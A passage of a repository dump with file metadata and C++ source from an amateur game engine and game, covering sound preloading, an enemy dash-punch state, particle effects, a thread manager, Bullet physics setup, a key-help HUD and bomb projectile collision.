NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Big_NockDown.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Encounter.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/esca.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Goblin_Punch1.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Goblin_StrongPunch1.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Goblin_Voice1.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/gogogo.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Heal.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Heal2.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/kick-low1.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/LongEnemy_Fire.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/LongEnemy_Target.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/mini_Explosion.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/omoi_panchi.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/shoot.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/TPSE.wav\");\n\t\tDeleteGO(se);\n\t}\n\n\t//fatman\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/boss_fatman/backstep.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/boss_fatman/Balkan.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/boss_fatman/Balkan2.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/boss_fatman/charge.wav\");\n\t\tDeleteGO(se);\n\t}\n\t//chara\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/beam.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/explosion.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/footstep1.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/footstep2.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/hugeExplosion.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/jetSe.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/mg.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/missile.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/punch_2_1.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/punch_2_2.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/punch1.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/punch2.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/punch3.wav\");\n\t\tDeleteGO(se);\n\t}\n\t{\n\t\tauto se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/shoot.wav\");\n\t\tDeleteGO(se);\n\t}\n}"
},
{
"alpha_fraction": 0.699343740940094,
"alphanum_fraction": 0.7046759724617004,
"avg_line_length": 24.93617057800293,
"blob_id": "c0375d3d7de7df463b76655f8bda1fc99dd71e67",
"content_id": "86606f4beb29210a7156c2cfda019a077e9d33bd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2438,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 94,
"path": "/Game/Enemy/State/MeleeBossState/EnemyDashPunchState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyDashPunchState.h\"\n#include \"../../EnemyManager.h\"\n#include \"../../IEnemy.h\"\n#include \"../../../Player/Player.h\"\n#include \"../../Boss/BossA.h\"\n#include \"../../../Effect/JetEffect.h\"\n\nEnemyDashPunchState::EnemyDashPunchState() {\n\n}\n\nEnemyDashPunchState::~EnemyDashPunchState() {\n\n}\n\nvoid EnemyDashPunchState::Enter(IEnemy* e) {\n\n\tm_canExecute = true;\n\n\tif (e->GetAbility().stamina < m_cost) {\n\t\tm_canExecute = false;\n\t\treturn;\n\t}\n\n\n\te->UseStamina(m_cost);\n\n\te->PlayAnimation(IEnemy::EnAnimation::enAttackB);\n\tm_timer = 0.f;\n\t//e->playAttackAnimation();\n\tauto player = GameManager::GetInstance().m_player;\n\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tauto v = vecToPlayer;\n\tv.Normalize();\n\tconst float speed = 100.f;\n\tauto velocity = v * speed;\n\te->SetVelocity(velocity);\n\n\tauto& effects = e->GetJetEffects();\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetGenerateFlag(true);\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetGenerateFlag(true);\n\n\teffects.at(TO_INT(BossA::EnJetBone::ElbowL))->SetGenerateFlag(true);\n\teffects.at(TO_INT(BossA::EnJetBone::ElbowR))->SetGenerateFlag(true);\n\n\tconst float knockbackParam = 250.f;\n\tv *= knockbackParam;\n\tv.y = 150.f;\n\tplayer->ApplyDamage(m_damageAmount, true, v);\n\tauto punchSE = NewGO<CSoundSource>(0);\n\tpunchSE->Init(L\"Assets/sound/chara/punch_2_1.wav\", false);\n\tpunchSE->Play(false);\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter enemy dash punch state\\n\");\n#endif\n}\n\nIEnemyState* EnemyDashPunchState::Update(IEnemy* e) {\n\n\tif (!m_canExecute) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\n\tauto player = GameManager::GetInstance().GetPlayer();\n\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\n\tm_timer += gameTime()->GetDeltaTime();\n\tif (m_timer >= m_intervalSec) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\treturn this;\n}\n\nvoid EnemyDashPunchState::Exit(IEnemy* e) {\n\n\tauto& effects = e->GetJetEffects();\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetGenerateFlag(false);\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetGenerateFlag(false);\n\n\teffects.at(TO_INT(BossA::EnJetBone::ElbowL))->SetGenerateFlag(false);\n\teffects.at(TO_INT(BossA::EnJetBone::ElbowR))->SetGenerateFlag(false);\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit enemy dush punch state\\n\");\n#endif\n}\n"
},
{
"alpha_fraction": 0.644949197769165,
"alphanum_fraction": 0.6557083129882812,
"avg_line_length": 17.184782028198242,
"blob_id": "9bc45676c8b16312abce63c42954a7d99a801c30",
"content_id": "d1d329d612a91f8aa69cd14df8ed689f4fd0f30e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1975,
"license_type": "no_license",
"max_line_length": 118,
"num_lines": 92,
"path": "/Game/Effect/SmokeEffect.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Effect/ParticleEffect.h\"\n\n/// <summary>\n/// \n/// </summary>\nclass SmokeEffect :public GameObject\n{\npublic:\n\tSmokeEffect();\n\tvirtual ~SmokeEffect();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\tvoid Init(const Vector4& col, const Vector4& colE, const float lifeSpanParam, const int density, const bool isWorld);\n\n\tvoid SetPos(const Vector3& v)\n\t{\n\t\tm_effect->SetPos(v);\n\t}\n\tvoid SetSca(const Vector3& v)\n\t{\n\t\tm_effect->SetSca(v);\n\t\tm_effectScaleInverse = 1.f / v.x;\n\t}\n\n\tvoid SetRot(const Quaternion& rot) {\n\t\tm_effect->SetRot(rot);\n\t}\n\n\tvoid SetSpeed(float s)\n\t{\n\t\tm_speed = s;\n\t}\n\n\tvoid Play()\n\t{\n\t\tm_effect->SetGenerateFlag(true);\n\t}\n\tvoid Stop()\n\t{\n\t\tm_effect->SetGenerateFlag(false);\n\t}\n\nprivate:\n\tPlaneParticleEffectRender* m_effect = nullptr;\n\tfloat m_particleTimer = 0.f;\n\tbool m_isWorld = true;\n\tVector3 m_oldPos = Vector3::Zero;\n\tfloat m_effectScaleInverse = 1.f;\n\n\tint m_density = 10;\n\tfloat m_lifeSpanParam = 1.f;\n\tVector4 m_colS = Vector4::White;\n\tVector4 m_colE = Vector4::White;\n\n\tfloat m_speed = 50.f;\n};\n"
},
{
"alpha_fraction": 0.6685552597045898,
"alphanum_fraction": 0.6685552597045898,
"avg_line_length": 11.206896781921387,
"blob_id": "c8ea64e0a10ffcfa99e46500c2cb6752481138cf",
"content_id": "55fd8a6c46f08f867e5af5fdab26273526ce4aca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 353,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 29,
"path": "/UsualEngineR/Thread/ThreadManager.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"ThreadObject.h\"\n\nnamespace UER\n{\n\tclass ThreadManager\n\t{\n\tprivate:\n\t\tThreadManager();\n\t\t~ThreadManager();\n\tpublic:\n\t\tThreadManager& Get()\n\t\t{\n\t\t\tstatic ThreadManager tm;\n\t\t\treturn tm;\n\t\t}\n\n\n\n\t\tvoid AddThreadObj(ThreadObject* obj)\n\t\t{\n\t\t\tm_threadList.push_back(obj);\n\t\t}\n\n\tprivate:\n\t\tstd::vector<ThreadObject*> m_threadList;\n\t};\n}"
},
{
"alpha_fraction": 0.7536860108375549,
"alphanum_fraction": 0.7558543086051941,
"avg_line_length": 26.141176223754883,
"blob_id": "04bfd5db80084f869b71481d160b28738701217b",
"content_id": "86b72815b4fe2af4759d0c255c7542e3f2bc9d9e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2328,
"license_type": "no_license",
"max_line_length": 132,
"num_lines": 85,
"path": "/UsualEngineR/Physics/Physics.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"physics/Physics.h\"\n#include \"Physics/RigidBody.h\"\n\nnamespace UER\n{\n\t//PhysicsWorld g_physics;\n\n\tPhysicsWorld::~PhysicsWorld()\n\t{\n\t\tRelease();\n\t}\n\tvoid PhysicsWorld::Release()\n\t{\n\t\tdelete dynamicWorld;\n\t\tdelete constraintSolver;\n\t\tdelete overlappingPairCache;\n\t\tdelete collisionDispatcher;\n\t\tdelete collisionConfig;\n\n\t\tdynamicWorld = nullptr;\n\t\tconstraintSolver = nullptr;\n\t\toverlappingPairCache = nullptr;\n\t\tcollisionDispatcher = nullptr;\n\t\tcollisionConfig = nullptr;\n\t}\n\tvoid PhysicsWorld::Init()\n\t{\n\t\tRelease();\n\t\t//物理エンジンを初期化。\n\t\t///collision configuration contains default setup for memory, collision setup. Advanced users can create their own configuration.\n\t\tcollisionConfig = new btDefaultCollisionConfiguration();\n\n\t\t///use the default collision dispatcher. For parallel processing you can use a diffent dispatcher (see Extras/BulletMultiThreaded)\n\t\tcollisionDispatcher = new\tbtCollisionDispatcher(collisionConfig);\n\n\t\t///btDbvtBroadphase is a good general purpose broadphase. You can also try out btAxis3Sweep.\n\t\toverlappingPairCache = new btDbvtBroadphase();\n\n\t\t///the default constraint solver. For parallel processing you can use a different solver (see Extras/BulletMultiThreaded)\n\t\tconstraintSolver = new btSequentialImpulseConstraintSolver;\n\n\t\tdynamicWorld = new btDiscreteDynamicsWorld(\n\t\t\tcollisionDispatcher,\n\t\t\toverlappingPairCache,\n\t\t\tconstraintSolver,\n\t\t\tcollisionConfig\n\t\t);\n\n\t\tdynamicWorld->setGravity(btVector3(0, 0, 0));\n\n#if DEBUG_FUNC\n\t\tm_debugDraw.Init();\n\n\t\tdynamicWorld->setDebugDrawer(&m_debugDraw);\n#endif\n\t\tdynamicWorld->getBroadphase()->getOverlappingPairCache()->setInternalGhostPairCallback(new btGhostPairCallback());\n\t}\n\tvoid PhysicsWorld::Update()\n\t{\n\t\tdynamicWorld->stepSimulation(gameTime()->GetDeltaTime());\n\t}\n\tvoid PhysicsWorld::AddRigidBody(RigidBody & rb)\n\t{\n\t\tstd::lock_guard<std::mutex> lg(m_physicsWorld_mutex);\n\t\tdynamicWorld->addRigidBody(rb.GetBody());\n\t}\n\tvoid PhysicsWorld::RemoveRigidBody(RigidBody & rb)\n\t{\n\t\tauto body = rb.GetBody();\n\t\tif (body != nullptr)\n\t\t{\n\t\t\tstd::lock_guard<std::mutex> lg(m_physicsWorld_mutex);\n\t\t\tdynamicWorld->removeRigidBody(body);\n\t\t}\n\t}\n\tvoid PhysicsWorld::DebugDraw()\n\t{\n#if DEBUG_FUNC\n\t\tm_debugDraw.BeginRender();\n\t\tdynamicWorld->debugDrawWorld();\n\t\tm_debugDraw.EndRender();\n#endif\n\t}\n}"
},
{
"alpha_fraction": 0.7254902124404907,
"alphanum_fraction": 0.7254902124404907,
"avg_line_length": 23.5,
"blob_id": "1b32c240fc1135d157ababc5ceb7f581ce98c056",
"content_id": "5bcf04b418dde2cfe3e53d237ff4700f49c70b51",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 51,
"license_type": "no_license",
"max_line_length": 24,
"num_lines": 2,
"path": "/UsualEngineR/Physics/BoxCollider.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"BoxCollider.h\"\n\n\n"
},
{
"alpha_fraction": 0.6375442743301392,
"alphanum_fraction": 0.6452184319496155,
"avg_line_length": 13.235294342041016,
"blob_id": "62ebe1ad5053bc480e76f0d48a19d64c4d167c5a",
"content_id": "acf74f503958b53f4773cd6969fbd7bc576b920d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1694,
"license_type": "no_license",
"max_line_length": 125,
"num_lines": 119,
"path": "/Game/HUD/KeyHelp.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"KeyHelp.h\"\n#include \"GameManager.h\"\n#include \"GameSceneMenu.h\"\n\nKeyHelp::KeyHelp()\n{\n\n}\n\nKeyHelp::~KeyHelp()\n{\n\n}\n\n\n\nvoid KeyHelp::Release()\n{\n}\n\nvoid KeyHelp::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid KeyHelp::Awake()\n{\n\n}\n\nbool KeyHelp::Start()\n{\n\treturn true;\n}\n\nvoid KeyHelp::Init(const Vector3& pos, const std::wstring text) {\n\n\tSpriteInitData sd;\n\tsd.m_ddsFilePath[0] = \"Assets/Image/KeyHelpBack.dds\";\n\tsd.m_height = m_flSpHeight;\n\tsd.m_width = m_flSpWidth;\n\tm_keyHelpSp.Init(sd);\n\n\tm_pos = pos;\n\tm_text = text;\n\tm_keyHelpSp.Update(m_pos + m_spPosOffset, Quaternion::Identity, m_spScale);\n}\n\nvoid KeyHelp::Display()\n{\n\t//m_timer = 0.f;\n\tm_isDisp = true;\n\tSetActive(true);\n}\n\nvoid KeyHelp::Undisplay()\n{\n\t//m_timer = m_dispTime;\n\tm_isDisp = false;\n}\n\n\n\nvoid KeyHelp::PreUpdate()\n{\n\n}\n\nvoid KeyHelp::Update()\n{\n\tfloat dtime = gameTime()->GetDeltaTime();\n\n\tif (m_isDisp)\n\t{\n\t\t\n\t\tm_timer += dtime;\n\t\tif (m_timer > m_dispTime)\n\t\t{\n\t\t\tm_timer = m_dispTime;\n\t\t}\n\t}\n\telse\n\t{\n\t\tm_timer -= dtime;\n\t\tif (0.f > m_timer)\n\t\t{\n\t\t\tm_timer = 0.f;\n\t\t\tSetActive(false);\n\t\t}\n\t}\n}\n\nvoid KeyHelp::PostUpdate()\n{\n\n}\n\n\nvoid KeyHelp::Render()\n{\n\n}\n\nvoid KeyHelp::PostRender()\n{\n\tif (GameManager::GetInstance().m_menu != nullptr and GameManager::GetInstance().m_menu->IsGamePaused()) return;\n\n\tfloat t = min(1.f,m_timer / m_dispTime);\n\t//sprite\n\tauto& rc = g_graphicsEngine->GetRenderContext();\n\tm_keyHelpSp.Draw(rc, g_camera2D->GetViewMatrix(), g_camera2D->GetProjectionMatrix(), {1,1,1,t});\n\t//font\n\tm_color.a = t;\n\tm_keyHelpText.Begin();\n\tm_keyHelpText.Draw(m_text.c_str(), Vector2(m_pos.x, m_pos.y) + m_fontPosOffset, m_color, m_rot, m_fontScale, Vector2::Zero);\n\tm_keyHelpText.End();\n}\n"
},
{
"alpha_fraction": 0.6725215911865234,
"alphanum_fraction": 0.68189936876297,
"avg_line_length": 21.918088912963867,
"blob_id": "7cc603fdcd235f07aa286dac5a34b3e47d12414f",
"content_id": "3e7e342d45a9b4c55384a2f9f823a81f266ec57f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 6808,
"license_type": "no_license",
"max_line_length": 203,
"num_lines": 293,
"path": "/Game/Enemy/Equipment/Enemy_LaunchBomb.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Enemy_LaunchBomb.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"GameManager.h\"\n#include \"Effect/ExplosionEffect.h\"\n\nstruct SweepResult : public btCollisionWorld::ConvexResultCallback\n{\n\tbool isHit = false;\n\tVector3 hitPos = Vector3::Zero;\n\tconst Vector3& startPos;\n\tfloat dist = FLT_MAX;\n\tint collAttr = enCollisionAttr_None;\n\n\tSweepResult(const Vector3& v) :\n\t\tstartPos(v)\n\t{\n\n\t}\n\n\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t{\n\t\tint index = convexResult.m_hitCollisionObject->getUserIndex();\n\t\tif (index & enCollisionAttr_NonHit)\n\t\t{\n\t\t\t//printf(\"NONONON\");\n\t\t\treturn 0.f;\n\t\t}\n\t\t//キャラコンでもグラウンドでもない場合早期出社。\n\t\tif (!(index & enCollisionAttr_Character\n\t\t\t|| index & enCollisionAttr_Ground))\n\t\t{\n\t\t\treturn 0.f;\n\t\t}\n\n\t\tisHit = true;\n\t\tVector3 hitp = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\tVector3 div = startPos - hitp;\n\t\tfloat dis = div.Length();\n\t\tif (dis < dist)\n\t\t{\n\t\t\thitPos = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\t\tdist = dis;\n\t\t\tcollAttr = index;\n\t\t}\n\t\treturn 0.0f;\n\t}\n};\n\n\nstruct BombContactTest :public btCollisionWorld::ContactResultCallback\n{\n\tbool isHit = false;\n\tbool isHitPlayer = false;\n\tstd::vector<IEnemy*> enemyList;\n\t\n\t// ContactResultCallback を介して継承されました\n\tvirtual btScalar addSingleResult(btManifoldPoint& cp, const btCollisionObjectWrapper* colObj0Wrap, int partId0, int index0, const btCollisionObjectWrapper* colObj1Wrap, int partId1, int index1) override\n\t{\n\t\tint ind = colObj1Wrap->getCollisionObject()->getUserIndex();\n\t\tif (ind & enCollisionAttr_NonHit)\n\t\t\treturn 0.f;\n\t\t\n\n\t\tif (ind & GameCollisionAttribute::Enemy)\n\t\t{\n\t\t\tenemyList.push_back(reinterpret_cast<IEnemy*>(colObj1Wrap->getCollisionObject()->getUserPointer()));\n\t\t\tisHit = true;\n\t\t}\n\t\telse if (ind & GameCollisionAttribute::Player)\n\t\t{\n\t\t\tisHitPlayer = true;\n\t\t\tisHit = true;\n\t\t}\n\n\t\treturn 0.f;\n\t}\n};\n\nstruct BlastContactTest :public btCollisionWorld::ContactResultCallback\n{\n\tbool isHit = false;\n\n\t// ContactResultCallback を介して継承されました\n\tvirtual btScalar addSingleResult(btManifoldPoint& cp, const btCollisionObjectWrapper* colObj0Wrap, int partId0, int index0, const btCollisionObjectWrapper* colObj1Wrap, int partId1, int index1) override\n\t{\n\t\tint ind = colObj0Wrap->getCollisionObject()->getUserIndex();\n\t\tif (ind && enCollisionAttr_NonHit)\n\t\t\treturn 0.f;\n\t\tisHit = true;\n\t\treturn 0.f;\n\t}\n};\n\n\nEnemy_LaunchBomb::Enemy_LaunchBomb()\n{\n\n}\n\nEnemy_LaunchBomb::~Enemy_LaunchBomb()\n{\n\t//OnDestroy();\n}\n\n\n\nvoid Enemy_LaunchBomb::Release()\n{\n\tDeleteGO(m_model);\n\tif (m_isDestroy)\n\t\treturn;\n\tPhysics().RemoveRigidBody(m_rigidBody);\n\tm_rigidBody.Release();\n\tm_coll.Release();\n\tm_ghost.Release();\n\tm_fireColl.Release();\n}\n\nvoid Enemy_LaunchBomb::OnDestroy()\n{\n\tif (m_isDestroy)\n\t\treturn;\n\tPhysics().RemoveRigidBody(m_rigidBody);\n\tm_rigidBody.Release();\n\tm_coll.Release();\n\tm_model->SetActive(false);\n\n\t//Physics().RemoveCollisionObject((btGhostObject&)*m_ghost.GetBody());\n\tm_ghost.Release();\n\tm_fireColl.Release();\n\n\tm_isDestroy = true;\n}\n\n\nvoid Enemy_LaunchBomb::Awake()\n{\n\tm_model = NewGO<ModelRender>(0);\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test.tkm\";\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_upAxis = enUpAxisY;\n\tmid.m_tksFilePath = \"Assets/modelData/boss/mb/mb.tks\";\n\tm_model->Init(mid);\n\t\n\tm_effect = NewGO<ExplosionEffect>(0);\n\tm_effect->Init();\n\tm_model->SetActive(true);\n}\n\nbool Enemy_LaunchBomb::Start()\n{\n\treturn true;\n}\n\nvoid Enemy_LaunchBomb::Init(const Vector3& pos, const Vector3& fireVelo, float size,float fireRange,float damage, float power)\n{\n\tm_damage = damage;\n\tm_fireRange = fireRange;\n\tm_power = power;\n\tm_fireColl.Create(fireRange);\n\tm_ghost.Create(&m_fireColl, { 0,-3000,0 }, Quaternion::Identity);\n\n\tm_coll.Create(size);\n\tRigidBodyInfo info;\n\tinfo.collider = &m_coll;\n\tinfo.mass = 1.f;\n\tinfo.pos = pos;\n\tm_rigidBody.Create(info);\n\tauto body = m_rigidBody.GetBody();\n\tbody->setUserIndex(enCollisionAttr_NonHit);\n\tbody->setLinearVelocity(btVector3(fireVelo.x, fireVelo.y, fireVelo.z));\n\tbody->setGravity({ 0,-500,0 });\n\tbody->applyGravity();\n\tPhysics().AddRigidBody(m_rigidBody);\n\n\tm_model->SetScale(Vector3::One * size);\n\tm_model->SetPosition(pos);\n\n\tm_isDestroy = false;\n\tm_isHit = false;\n}\n\n\nvoid Enemy_LaunchBomb::PreUpdate()\n{\n\n}\n\nvoid Enemy_LaunchBomb::Update()\n{\n\tif (m_isHit)\n\t{\n\t\tauto pl = GameManager::GetInstance().GetPlayer();\n\t\tauto v = pl->GetPosition() - m_hitPos;\n\t\tfloat len = v.Length();\n\t\t\n\t\tv.Normalize();\n\t\tv.y = 1.f;\n\t\tfloat t = 1.f - min(len / m_fireRange, 1.f);\n\t\tv *= m_fireRange * t * m_power;\n\n\t\tfor (int i = 0; i < m_ghost.GetGhost()->getNumOverlappingObjects(); i++)\n\t\t{\n\t\t\tauto o = m_ghost.GetGhost()->getOverlappingObject(i);\n\t\t\tint ind = o->getUserIndex();\n\t\t\tif (ind & GameCollisionAttribute::Enemy)\n\t\t\t{\n\t\t\t\tauto e = (IEnemy*)o->getUserPointer();\n\t\t\t\te->ApplyDamage(m_damage * t, true, v);\n\t\t\t}\n\t\t\telse if (ind & GameCollisionAttribute::Player)\n\t\t\t{\n\t\t\t\t\n\t\t\t\tpl->ApplyDamage(m_damage * t, true, v);\n\t\t\t}\n\t\t}\n\t\t\n\t\tauto pthis = this;\n\t\tDeleteGO(pthis);\n\t\treturn;\n\t}\n\tauto body = m_rigidBody.GetBody();\n\tbody->setGravity({ 0,-500,0 });\n\tbody->getTotalForce();\n\t//body->applyGravity();\n\tbtTransform tra,end;\n\tbody->getMotionState()->getWorldTransform(tra);\n\tm_model->SetPosition(tra.getOrigin());\n\tend = tra;\n\tauto velo = body->getLinearVelocity() * gameTime()->GetDeltaTime();\n\tend.setOrigin(tra.getOrigin() + body->getLinearVelocity()*gameTime()->GetDeltaTime());\n\tSweepResult sres(tra.getOrigin());\n\tPhysics().ConvexSweepTest(m_coll.GetBody(), tra,end,sres);\n\t\n\tif (sres.isHit)\n\t{\n\t\tm_ghost.SetPosition(sres.hitPos);\n\t\tm_effect->Play();\n\t\tm_effect->SetPos(sres.hitPos);\n\t\tm_hitPos = sres.hitPos;\n\t\tm_isHit = true;\n\n\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/chara/explosion.wav\");\n\t\tse->Play(false);\n\t\tse->SetVolume(1.);\n\t\treturn;\n\t\t\n\n\n\t\t//m_ghost.SetPosition(sres.hitPos);\n\t\t//BombContactTest res;\n\t\t//Physics().ContactTest(m_ghost.GetGhost(), res);\n\t\t//if (res.isHit)\n\t\t//{\n\t\t//\tauto pl = GameManager::GetInstance().GetPlayer();\n\t\t//\tauto v = pl->GetPosition() - sres.hitPos;\n\t\t//\tfloat len = v.Length();\n\t\t//\tv.y = 1.f;\n\t\t//\tv.Normalize();\n\t\t//\tfloat t = 1.f - min(len / m_fireRange, 1.f);\n\t\t//\tv *= m_fireRange * t;\n\t\t//\tif (res.isHitPlayer)\n\t\t//\t{\n\t\t//\t\tpl->ApplyDamage(m_damage, true, v);\n\t\t//\t}\n\t\t//\tfor (auto e : res.enemyList)\n\t\t//\t{\n\t\t//\t\te->ApplyDamage(m_damage, true, v);\n\t\t//\t}\n\t\t//}\n\t}\n\n\t\n\t/*BombContactTest res;\n\tPhysics().ContactTest(m_rigidBody.GetBody(), res);\n\tif 